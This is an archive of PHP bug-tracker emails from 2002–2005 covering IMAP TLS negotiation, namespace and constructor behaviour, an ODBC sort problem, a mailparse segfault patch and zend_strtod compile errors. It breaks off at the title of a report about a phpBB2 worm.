ID: 17128 Updated by: [EMAIL PROTECTED] Reported By: [EMAIL PROTECTED] Status: Open Bug Type: Filesystem function related Operating System: Debian GNU/Linux 2.2 PHP Version: 4.2.0 New Comment: is_link is also broken Previous Comments: [2002-05-09 16:03:08] [EMAIL PROTECTED] lstat tracks through symbolic link and returns the permission mode of the actual file, rather than the link itself. fileperms also seems to be affected. -- Edit this bug report at http://bugs.php.net/?id=17128&edit=1
#19522 [NEW]: open_imap() fails on an IMAP server capable of TLS
From: [EMAIL PROTECTED] Operating system: Linux PHP version: 4.2.3 PHP Bug Type: IMAP related Bug description: open_imap() fails on an IMAP server capable of TLS Hi, I've got UW imapd running on the loopback interface on tcp/143 running plain old IMAP. When I try to connect using imap_open(), (and watch using tcpdump) I see the IMAP server spit out it's banner, which includes STARTTLS in the capabilities, and then I see a STARTTLS get issued. The imap_open() then seems to get confused with the TLS stream and says it couldn't open the stream. I'm using the Debian PHP4 package, it was compiled with: '../configure' '--prefix=/usr' '--with-apxs=/usr/bin/apxs' '--with-regex=php' '--with-config-file-path=/etc/php4/apache' '--disable-rpath' '--disable-debug' '--enable-memory-limit' '--with-layout=GNU' '--enable-calendar' '--enable-sysvsem' '--enable-sysvshm' '--enable-track-vars' '--enable-trans-sid' '--enable-bcmath' '--with-bz2' '--enable-ctype' '--with-db2' '--with-iconv' '--enable-exif' '--enable-filepro' '--enable-ftp' '--with-gettext' '--enable-mbstring' '--with-pcre-regex=/usr' '--enable-shmop' '--enable-sockets' '--enable-wddx' '--disable-xml' '--with-expat-dir=/usr' '--enable-yp' '--with-zlib' '--without-pgsql' '--with-openssl=/usr' '--disable-static' '--with-curl=shared,/usr' '--with-dom=shared,/usr' '--with-zlib-dir=/usr' '--with-gd=shared,/usr' '--with-jpeg-dir=shared,/usr' '--with-xpm-dir=shared,/usr/X11R6' '--with-png-dir=shared,/usr' '--with-freetype-dir=shared,/usr' '--with-imap=shared,/usr' '--with-imap-ssl' '--with-ldap=shared,/usr' '--with-mcal=shared,/usr' '--with-mhash=shared,/usr' '--with-mm' '--with-mysql=shared,/usr' '--with-unixODBC=shared,/usr' '--with-recode=shared,/usr' '--enable-xslt' '--with-xslt-sablot=shared,/usr' '--with-snmp=shared' '--enable-ucd-snmp-hack' '--with-sybase-ct=shared,/usr' '--with-ttf=shared,/usr' '--with-t1lib=shared,/usr' and includes IMAP SSL support. -- Edit bug report at http://bugs.php.net/?id=19522&edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=19522&r=trysnapshot Fixed in CVS:http://bugs.php.net/fix.php?id=19522&r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=19522&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=19522&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=19522&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=19522&r=support Expected behavior: http://bugs.php.net/fix.php?id=19522&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=19522&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=19522&r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=19522&r=globals
#19522 [Fbk->Opn]: open_imap() fails on an IMAP server capable of TLS
ID: 19522
User updated by: [EMAIL PROTECTED]
Reported By: [EMAIL PROTECTED]
-Status: Feedback
+Status: Open
Bug Type: IMAP related
Operating System: Linux
PHP Version: 4.2.3
New Comment:
The imap_open() call is:
imap_open("{localhost:143}", $username, $password);
Previous Comments:
[2002-09-20 08:08:18] [EMAIL PROTECTED]
Please give the full imap_open() line..
[2002-09-20 08:05:57] [EMAIL PROTECTED]
Hi,
I've got UW imapd running on the loopback interface on tcp/143 running
plain old IMAP.
When I try to connect using imap_open(), (and watch using tcpdump) I
see the IMAP server spit out it's banner, which includes STARTTLS in
the capabilities, and then I see a STARTTLS get issued. The imap_open()
then seems to get confused with the TLS stream and says it couldn't
open the stream.
I'm using the Debian PHP4 package, it was compiled with:
'../configure' '--prefix=/usr' '--with-apxs=/usr/bin/apxs'
'--with-regex=php' '--with-config-file-path=/etc/php4/apache'
'--disable-rpath' '--disable-debug' '--enable-memory-limit'
'--with-layout=GNU' '--enable-calendar' '--enable-sysvsem'
'--enable-sysvshm' '--enable-track-vars' '--enable-trans-sid'
'--enable-bcmath' '--with-bz2' '--enable-ctype' '--with-db2'
'--with-iconv' '--enable-exif' '--enable-filepro' '--enable-ftp'
'--with-gettext' '--enable-mbstring' '--with-pcre-regex=/usr'
'--enable-shmop' '--enable-sockets' '--enable-wddx' '--disable-xml'
'--with-expat-dir=/usr' '--enable-yp' '--with-zlib' '--without-pgsql'
'--with-openssl=/usr' '--disable-static' '--with-curl=shared,/usr'
'--with-dom=shared,/usr' '--with-zlib-dir=/usr' '--with-gd=shared,/usr'
'--with-jpeg-dir=shared,/usr' '--with-xpm-dir=shared,/usr/X11R6'
'--with-png-dir=shared,/usr' '--with-freetype-dir=shared,/usr'
'--with-imap=shared,/usr' '--with-imap-ssl' '--with-ldap=shared,/usr'
'--with-mcal=shared,/usr' '--with-mhash=shared,/usr' '--with-mm'
'--with-mysql=shared,/usr' '--with-unixODBC=shared,/usr'
'--with-recode=shared,/usr' '--enable-xslt'
'--with-xslt-sablot=shared,/usr' '--with-snmp=shared'
'--enable-ucd-snmp-hack' '--with-sybase-ct=shared,/usr'
'--with-ttf=shared,/usr' '--with-t1lib=shared,/usr'
and includes IMAP SSL support.
--
Edit this bug report at http://bugs.php.net/?id=19522&edit=1
#19522 [Fbk->Opn]: open_imap() fails on an IMAP server capable of TLS
ID: 19522
User updated by: [EMAIL PROTECTED]
Reported By: [EMAIL PROTECTED]
-Status: Feedback
+Status: Open
Bug Type: IMAP related
Operating System: Linux
PHP Version: 4.2.3
New Comment:
Using the
imap_open("{localhost:143/imap/tls/novalidate-cert}",$username,$password);
modifiers has worked around the problem. Thankyou very much. The Debian
package maintainer thinks the underlying problem is with the
libc-client deciding to negotiate TLS if it sees that capability, which
obviously has unexpected results if it's not expecting a TLS
connection.
Previous Comments:
[2002-09-20 12:50:07] [EMAIL PROTECTED]
This might also be one to try:
imap_open("{localhost:143/imap/tls/novalidate-cert}",$username,$password);
[2002-09-20 12:48:06] [EMAIL PROTECTED]
Look in this page for how you can pass some extra
authentication parameters:
http://www.php.net/manual/en/function.imap-open.php
Something like this should work:
imap_open("{localhost:143/imap/tls}", $username,$password);
The c-client must of course be compiled with the ssl support..
[2002-09-20 08:32:44] [EMAIL PROTECTED]
The imap_open() call is:
imap_open("{localhost:143}", $username, $password);
[2002-09-20 08:08:18] [EMAIL PROTECTED]
Please give the full imap_open() line..
[2002-09-20 08:05:57] [EMAIL PROTECTED]
Hi,
I've got UW imapd running on the loopback interface on tcp/143 running
plain old IMAP.
When I try to connect using imap_open(), (and watch using tcpdump) I
see the IMAP server spit out it's banner, which includes STARTTLS in
the capabilities, and then I see a STARTTLS get issued. The imap_open()
then seems to get confused with the TLS stream and says it couldn't
open the stream.
I'm using the Debian PHP4 package, it was compiled with:
'../configure' '--prefix=/usr' '--with-apxs=/usr/bin/apxs'
'--with-regex=php' '--with-config-file-path=/etc/php4/apache'
'--disable-rpath' '--disable-debug' '--enable-memory-limit'
'--with-layout=GNU' '--enable-calendar' '--enable-sysvsem'
'--enable-sysvshm' '--enable-track-vars' '--enable-trans-sid'
'--enable-bcmath' '--with-bz2' '--enable-ctype' '--with-db2'
'--with-iconv' '--enable-exif' '--enable-filepro' '--enable-ftp'
'--with-gettext' '--enable-mbstring' '--with-pcre-regex=/usr'
'--enable-shmop' '--enable-sockets' '--enable-wddx' '--disable-xml'
'--with-expat-dir=/usr' '--enable-yp' '--with-zlib' '--without-pgsql'
'--with-openssl=/usr' '--disable-static' '--with-curl=shared,/usr'
'--with-dom=shared,/usr' '--with-zlib-dir=/usr' '--with-gd=shared,/usr'
'--with-jpeg-dir=shared,/usr' '--with-xpm-dir=shared,/usr/X11R6'
'--with-png-dir=shared,/usr' '--with-freetype-dir=shared,/usr'
'--with-imap=shared,/usr' '--with-imap-ssl' '--with-ldap=shared,/usr'
'--with-mcal=shared,/usr' '--with-mhash=shared,/usr' '--with-mm'
'--with-mysql=shared,/usr' '--with-unixODBC=shared,/usr'
'--with-recode=shared,/usr' '--enable-xslt'
'--with-xslt-sablot=shared,/usr' '--with-snmp=shared'
'--enable-ucd-snmp-hack' '--with-sybase-ct=shared,/usr'
'--with-ttf=shared,/usr' '--with-t1lib=shared,/usr'
and includes IMAP SSL support.
--
Edit this bug report at http://bugs.php.net/?id=19522&edit=1
#19522 [Bgs]: open_imap() fails on an IMAP server capable of TLS
ID: 19522
User updated by: [EMAIL PROTECTED]
Reported By: [EMAIL PROTECTED]
Status: Bogus
Bug Type: IMAP related
Operating System: Linux
PHP Version: 4.2.3
New Comment:
Actually, for the record (and the next poor schmuck that gets bitten by
this)
imap_open("{localhost:143/imap/notls}",$username,$password
);
is probably the best way to ensure the same behavior as before.
Previous Comments:
[2002-09-22 10:36:44] [EMAIL PROTECTED]
It's c-client thing, like I suspected.
And not really bug, iirc.
[2002-09-21 20:29:38] [EMAIL PROTECTED]
Using the
imap_open("{localhost:143/imap/tls/novalidate-cert}",$username,$password);
modifiers has worked around the problem. Thankyou very much. The Debian
package maintainer thinks the underlying problem is with the
libc-client deciding to negotiate TLS if it sees that capability, which
obviously has unexpected results if it's not expecting a TLS
connection.
[2002-09-20 12:50:07] [EMAIL PROTECTED]
This might also be one to try:
imap_open("{localhost:143/imap/tls/novalidate-cert}",$username,$password);
[2002-09-20 12:48:06] [EMAIL PROTECTED]
Look in this page for how you can pass some extra
authentication parameters:
http://www.php.net/manual/en/function.imap-open.php
Something like this should work:
imap_open("{localhost:143/imap/tls}", $username,$password);
The c-client must of course be compiled with the ssl support..
[2002-09-20 08:32:44] [EMAIL PROTECTED]
The imap_open() call is:
imap_open("{localhost:143}", $username, $password);
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/19522
--
Edit this bug report at http://bugs.php.net/?id=19522&edit=1
#22253 [Com]: method becomes constructor in subclass
ID: 22253
Comment by: andrew at evilwalrus dot com
Reported By: [EMAIL PROTECTED]
Status: Open
Bug Type: Class/Object related
Operating System: win2k
PHP Version: 4.2.3
New Comment:
According to the comments on the OOP manual page, if a constructor is
not located in the base class, the function of the same name will be
located in subsequent classes, and loaded accordingly. Yes, this is by
design, but no, i personally don't like it... correct me if i'm wrong,
please.
~ Andrew Heebner
Previous Comments:
[2003-02-17 11:38:10] [EMAIL PROTECTED]
In this example, the printStr() method becomes the constructor of the
printStr class, while I think it should not be working this way... I
hope this is not by design ;)
class String
{
function printStr($string)
{
print $string;
}
}
class printStr extends String {}
$ps = new printStr("abc");
--
Edit this bug report at http://bugs.php.net/?id=22253&edit=1
#26316 [Bgs->Csd]: Accessing remote php files (xml header) with xslt doesn't get session variables
ID: 26316 User updated by: andrew at shh dot fi Reported By: andrew at shh dot fi -Status: Bogus +Status: Closed Bug Type: XSLT related Operating System: windows xp PHP Version: 4.3.3 New Comment: Problem resolved. Pack the session variables into one string and append to the fopen url. (Xslt_process requires 2 strings to parse or 2 local files. In order to pass 2 urls you need to read the url locations into a string) .On the other end unpack the session string into sessions and write out the xml. Previous Comments: [2003-11-20 10:29:28] andrew at shh dot fi You've missed the point here! Building XML documents using PHP doesn't matter whether the php tag starts with pt because the header funcion sends to the browser an xml header. The problem is more to do with the fact that the xslt parser when parsing the document doesn't see it from server side but rather from a client side. I'll add a short demo shortly. [2003-11-19 19:49:47] [EMAIL PROTECTED] The obvious first thing that comes to my mind is that you're using short-tag there. ALWAYS use Access it with the XSLT parser as a remote xml document (you need to of course) with a local XSL file. Parse it and the session is not there. This is probably because the XSLT parser is accessing the file from 'outside' and so the session has not been created. In my case its been create long before in the login script. The bug appears to be that the XSLT parser doesn't recognised the already created session. Is there a fix to this, perhaps a change in the XSLT function, etc. -- Edit this bug report at http://bugs.php.net/?id=26316&edit=1
#26479 [NEW]: ORDER BY clause not sorting results
From: andrew at howsfamily dot net Operating system: Windows XP Pro PHP version: 4.3.2 PHP Bug Type: ODBC related Bug description: ORDER BY clause not sorting results Description: When running a query, the ORDER BY clause seems to be ignored. ODBC is connecting to MS Access via the standard MS driver. When the query is run in a MS Access query, it sorts correctly. When the resultset is returned via the PHP ODBC functions, however, the rows are returned in the order they were created, not the order specified by the ORDER BY clause. Reproduce code: --- SELECT Person.Surname, Person.[Given Name(s)], Owing - IIF(Payments.Total IS NULL, '0', Payments.Total) AS Amount FROM Person, Registration, (SELECT Registration.Surname, Registration.[Given Name(s)], SUM(Amount) AS Total FROM Registration LEFT OUTER JOIN Receipt ON (Registration.Camp = Receipt.Camp) AND (Registration.Surname = Receipt.Surname) AND (Registration.[Given Name(s)] = Receipt.[Given Name(s)]) WHERE Registration.Camp='Summer Camp 2003' GROUP BY Registration.Surname, Registration.[Given Name(s)], Registration.Owing) AS Payments WHERE Person.[Given Name(s)] = Registration.[Given Name(s)] AND Person.Surname = Registration.Surname AND Person.[Given Name(s)] = Payments.[Given Name(s)] AND Person.Surname = Payments.Surname AND Camp = 'Summer Camp 2003' AND (Owing - IIF(Payments.Total IS NULL, '0', Payments.Total)) > 0 AND Person.[Given Name(s)] = Registration.[Given Name(s)] AND Person.Surname = Registration.Surname ORDER BY Person.Surname Expected result: SURNAME GIVEN NAME(S) AMOUNT --- AardvarkFred$130.00 Badger Bob $150.00 Dalmation Jim $150.00 Actual result: -- SURNAME GIVEN NAME(S) AMOUNT --- AardvarkFred$130.00 Dalmation Jim $150.00 Badger Bob $150.00 -- Edit bug report at http://bugs.php.net/?id=26479&edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=26479&r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=26479&r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=26479&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=26479&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=26479&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=26479&r=needscript Try newer version: http://bugs.php.net/fix.php?id=26479&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=26479&r=support Expected behavior: http://bugs.php.net/fix.php?id=26479&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=26479&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=26479&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=26479&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=26479&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=26479&r=dst IIS Stability: http://bugs.php.net/fix.php?id=26479&r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=26479&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=26479&r=float
#22395 [NEW]: Namespaces overwrite preexisting namespaces
From: andrew at evilwalrus dot com
Operating system: WinXP
PHP version: 5CVS-2003-02-24 (dev)
PHP Bug Type: Zend Engine 2 problem
Bug description: Namespaces overwrite preexisting namespaces
The following code should (theoretically) generate a fatal error, as it
overwrites a predefined namespace (tested on 'parent' and 'self'
namespaces:
data = $data;
}
function debug()
{
print $this->data;
}
}
}
$foo = new parent::foo('Hello World!');
$foo->debug();
?>
I don't think this is done by design due to the fact that the predefined
namespaces are in place to prevent this, and also for other uses.
~ Andrew Heebner
--
Edit bug report at http://bugs.php.net/?id=22395&edit=1
--
Try a CVS snapshot: http://bugs.php.net/fix.php?id=22395&r=trysnapshot
Fixed in CVS: http://bugs.php.net/fix.php?id=22395&r=fixedcvs
Fixed in release: http://bugs.php.net/fix.php?id=22395&r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=22395&r=needtrace
Try newer version: http://bugs.php.net/fix.php?id=22395&r=oldversion
Not developer issue:http://bugs.php.net/fix.php?id=22395&r=support
Expected behavior: http://bugs.php.net/fix.php?id=22395&r=notwrong
Not enough info:http://bugs.php.net/fix.php?id=22395&r=notenoughinfo
Submitted twice:http://bugs.php.net/fix.php?id=22395&r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=22395&r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=22395&r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=22395&r=dst
IIS Stability: http://bugs.php.net/fix.php?id=22395&r=isapi
Install GNU Sed:http://bugs.php.net/fix.php?id=22395&r=gnused
#22494 [NEW]: Additional functions needed for namespaces
From: andrew at evilwalrus dot com
Operating system: WinXP
PHP version: 5CVS-2003-03-01 (dev)
PHP Bug Type: Feature/Change Request
Bug description: Additional functions needed for namespaces
With the advent of the new namespace {} context, how bout a few new
functions to suit them?
A few off the top of my head:
- get_namespace_classes (Retrieves a list of all classes in a
namespace)
- get_namespace_methods (Gets a list of all methods in a namespace)
- get_namespace_vars (You guessed it, gets all vars..)
Just simple things like that... it could come in handy. Just a thought.
~ Andrew Heebner
--
Edit bug report at http://bugs.php.net/?id=22494&edit=1
--
Try a CVS snapshot: http://bugs.php.net/fix.php?id=22494&r=trysnapshot
Fixed in CVS: http://bugs.php.net/fix.php?id=22494&r=fixedcvs
Fixed in release: http://bugs.php.net/fix.php?id=22494&r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=22494&r=needtrace
Try newer version: http://bugs.php.net/fix.php?id=22494&r=oldversion
Not developer issue:http://bugs.php.net/fix.php?id=22494&r=support
Expected behavior: http://bugs.php.net/fix.php?id=22494&r=notwrong
Not enough info:http://bugs.php.net/fix.php?id=22494&r=notenoughinfo
Submitted twice:http://bugs.php.net/fix.php?id=22494&r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=22494&r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=22494&r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=22494&r=dst
IIS Stability: http://bugs.php.net/fix.php?id=22494&r=isapi
Install GNU Sed:http://bugs.php.net/fix.php?id=22494&r=gnused
#22495 [NEW]: namespaces cause 'internal compiler error' on includes
From: andrew at evilwalrus dot com Operating system: WinXP PHP version: 5CVS-2003-03-01 (dev) PHP Bug Type: Scripting Engine problem Bug description: namespaces cause 'internal compiler error' on includes The following script(s) cause an internal compiler error: - foo.php - _debug(); ?> - include.php - --- Running foo.php via CLI causes the following fatal error to occur: *Fatal error: Internal compiler error. Please report! in include.php on line 6* Running the script without the 'foo' namespace simply outputs a blank line to the console, with no text returned, and no error generated. ~ Andrew Heebner -- Edit bug report at http://bugs.php.net/?id=22495&edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=22495&r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=22495&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=22495&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=22495&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=22495&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=22495&r=support Expected behavior: http://bugs.php.net/fix.php?id=22495&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=22495&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=22495&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=22495&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=22495&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=22495&r=dst IIS Stability: http://bugs.php.net/fix.php?id=22495&r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=22495&r=gnused
#22495 [Opn]: namespaces cause 'internal compiler error' on includes
ID: 22495 User updated by: andrew at evilwalrus dot com Reported By: andrew at evilwalrus dot com Status: Open Bug Type: Scripting Engine problem Operating System: WinXP PHP Version: 5CVS-2003-03-01 (dev) New Comment: Also, adding $this->baz to _debug() does not help. Previous Comments: [2003-03-01 13:36:43] andrew at evilwalrus dot com The following script(s) cause an internal compiler error: - foo.php - _debug(); ?> - include.php - --- Running foo.php via CLI causes the following fatal error to occur: *Fatal error: Internal compiler error. Please report! in include.php on line 6* Running the script without the 'foo' namespace simply outputs a blank line to the console, with no text returned, and no error generated. ~ Andrew Heebner -- Edit this bug report at http://bugs.php.net/?id=22495&edit=1
#32999 [Com]: Segmentation fault
ID: 32999
Comment by: andrew at sourcelabs dot com
Reported By: andrea dot busia at axis-sv dot it
Status: Feedback
Bug Type: Mailparse related
Operating System: linux redhat enterprise
PHP Version: 5.0.4
New Comment:
The problem here is in mailparse. In mailparse.c:151,
zend_register_internal_class is called but the return value
is ignored. This function in PHP5 will always return a new
object which should be used by the caller. In PHP4, it
wasn't replaced so the address was ok. I will notify the
maintainer of mailparse.
Here is a patch to fix mailparse:
1 73c73
2 < static zend_class_entry mimemsg_class_entry;
3 ---
4 > static zend_class_entry *mimemsg_class_entry;
5 140a141,142
6 > zend_class_entry mmce;
7 >
8 148,149c150,151
9 < INIT_CLASS_ENTRY(mimemsg_class_entry,
"mimemessage", mimemessage_methods);
10 < zend_register_internal_class
(&mimemsg_class_entry TSRMLS_CC);
11 ---
12 > INIT_CLASS_ENTRY(mmce, "mimemessage",
mimemessage_methods);
13 > mimemsg_class_entry =
zend_register_internal_class(&mmce TSRMLS_CC);
14 214c216
15 < object_init_ex(object,
&mimemsg_class_entry);
16 ---
17 > object_init_ex(object, mimemsg_class_entry);
Previous Comments:
[2005-05-11 21:00:47] [EMAIL PROTECTED]
Please try using this CVS snapshot:
http://snaps.php.net/php5-STABLE-latest.tar.gz
For Windows:
http://snaps.php.net/win32/php5.0-win32-latest.zip
Can't reproduce with latest CVS,
[2005-05-10 15:27:29] andrea dot busia at axis-sv dot it
Description:
All my scripts using mailparse exit with a segmentation fault since I
installed php5, in php4 it worked.
this is email_prova.txt content:
Return-Path: <[EMAIL PROTECTED]>
Delivered-To: [EMAIL PROTECTED]
Received: (qmail 18935 invoked from network); 10 May 2005 13:12:48
-
Received: from ppp-217-133-20-168.cust-adsl.tiscali.it (HELO axis20)
(217.133.20.168)
by 212.100.249.98 with SMTP; 10 May 2005 13:12:48 -
Message-ID: <[EMAIL PROTECTED]>
From: "Andrea Busia - Axis" <[EMAIL PROTECTED]>
To: "Andrea Busia - Axis" <[EMAIL PROTECTED]>
Subject: sdohhoisdfhi
Date: Tue, 10 May 2005 15:11:27 +0200
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="=_NextPart_000_0096_01C55572.897E0FA0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2527
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527
This is a multi-part message in MIME format.
--=_NextPart_000_0096_01C55572.897E0FA0
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
obidsfb=E8odfsb=E8odgbp=E8dgd
gs+dfghp=E8dfhp=E8gpdh=E8gfds
hgsfdhgiohpdsgoipsd
fdhoigsoidhgpfdfpo
--=_NextPart_000_0096_01C55572.897E0FA0
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
obidsfb=E8odfsb=E8odgbp=E8dgd
gs+dfghp=E8dfhp=E8gpdh=E8gfds
hgsfdhgiohpdsgoipsd
fdhoigsoidhgpfdfpo
--=_NextPart_000_0096_01C55572.897E0FA0--
Reproduce code:
---
get_child_count();
if ($n != 0) {
for ($i = 0; $i < $n; $i++) {
echo "a $i $n\n";
$part =& $msg->get_child($i);
echo "b $i $n\n";
}
}
else echo "99\n";
?>
Expected result:
a 0 3
b 0 3
a 1 3
b 1 3
a 2 3
b 2 3
Actual result:
--
a 0 3
Segmentation fault
backtrace:
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 8192 (LWP 27129)]
zend_hash_apply_with_argument (ht=0x0,
apply_func=0x819e5a8 , argument=0x1)
at /home/archivi/php-5.0.4/Zend/zend_hash.c:680
680 HASH_PROTECT_RECURSION(ht);
(gdb) bt
#0 zend_hash_apply_with_argument (ht=0x0,
apply_func=0x819e5a8 , argument=0x1)
at /home/archivi/php-5.0.4/Zend/zend_hash.c:680
#1 0x081a9a58 in zend_update_class_constants (class_type=0x40522b40)
at /home/archivi/php-5.0.4/Zend/zend_API.c:694
#2 0x081a9aaa in _object_and_properties_init (arg=0x843509c,
class_type=0x40522b40, properties=0x0)
at /home/archivi/php-5.0.4/Zend/zend_API.c:714
#3 0x081a9b67 in _object_init_ex (arg=0x843509c,
class_type=0x40522b40)
at /home/archivi/php-5.0.4/Zend/zend_API.c:734
#4 0x4051b1d4 in mailparse_mimemessage_export (part=0x84326e4,
object=0x843509c) at
/tmp/tmpzRZItJ/mailparse-2.1.1/mailparse.c:214
#5 0x4051b99e in zif_mailparse_mimemessage_get_child (ht=1,
return_value=0x843509c, this_ptr=0x8436f54, return_value_used=1)
at /tmp/tmpzRZItJ/mailparse-2.1.1/mailparse.c
#31129 [Com]: new zend_strtod.c won't compile
ID: 31129 Comment by: andrew at tophk dot net Reported By: long+phpbugs at kestrel dot cc dot ku dot edu Status: Assigned Bug Type: Compile Failure Operating System: Tru64 4.0F PHP Version: 4.3.10 Assigned To: derick New Comment: This also happens on Solaris 8x86 with gcc version 2.95.3: I have try the latest snapshot. But the Error again!! Configure Line:- ./configure --with-mysql=/usr/local/mysql --with-apxs=/usr/local/apache/bin/apxs --with-gd --with-jpeg-dir=/usr/local/bin --with-zlib-dir=/usr/local/bin Make Error Message:- /bin/sh /export/home/local/php5-STABLE-200412161930/libtool --silent --preserve-dup-deps --mode=compile gcc -IZend/ -I/export/home/local/php5-STABLE-200412161930/Zend/ -DPHP_ATOM_INC -I/export/home/local/php5-STABLE-200412161930/include -I/export/home/local/php5-STABLE-200412161930/main -I/export/home/local/php5-STABLE-200412161930 -I/export/home/local/php5-STABLE-200412161930/Zend -I/usr/local/include/libxml2 -I/usr/local/include -I/usr/local/mysql/include/mysql -D_POSIX_PTHREAD_SEMANTICS -I/export/home/local/php5-STABLE-200412161930/TSRM -g -O2 -prefer-pic -c /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c -o Zend/zend_strtod.lo /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:239: parse error before `u_int32_t' /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:239: warning: no semicolon at end of struct or union /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:240: warning: data definition has no type or storage class /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:386: parse error before `u_int32_t' /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:386: warning: no semicolon at end of struct or union /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c: In function `Balloc': /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:405: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:409: sizeof applied to an incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:410: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:411: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:413: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:413: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c: In function `Bfree': /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:426: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:426: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:427: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c: In function `multadd': /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:443: `u_int32_t' undeclared (first use in this function) /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:443: (Each undeclared identifier is reported only once /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:443: for each function it appears in.) /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:443: `x' undeclared (first use in this function) /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:443: `y' undeclared (first use in this function) /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:445: parse error before `xi' /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:449: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:450: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:454: `xi' undeclared (first use in this function) /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:456: `z' undeclared (first use in this function) /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:467: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:468: `b1' undeclared (first use in this function) /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:468: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:469: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:469: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:473: dereferencing pointer to incomplete type /export/home/local/php5-STABLE-200412161930/Zend/zend_strtod.c:474: dereferencing pointer to incomplete type /export/home/local/php5-S
#31333 [NEW]: php worm Virus with phpBB2
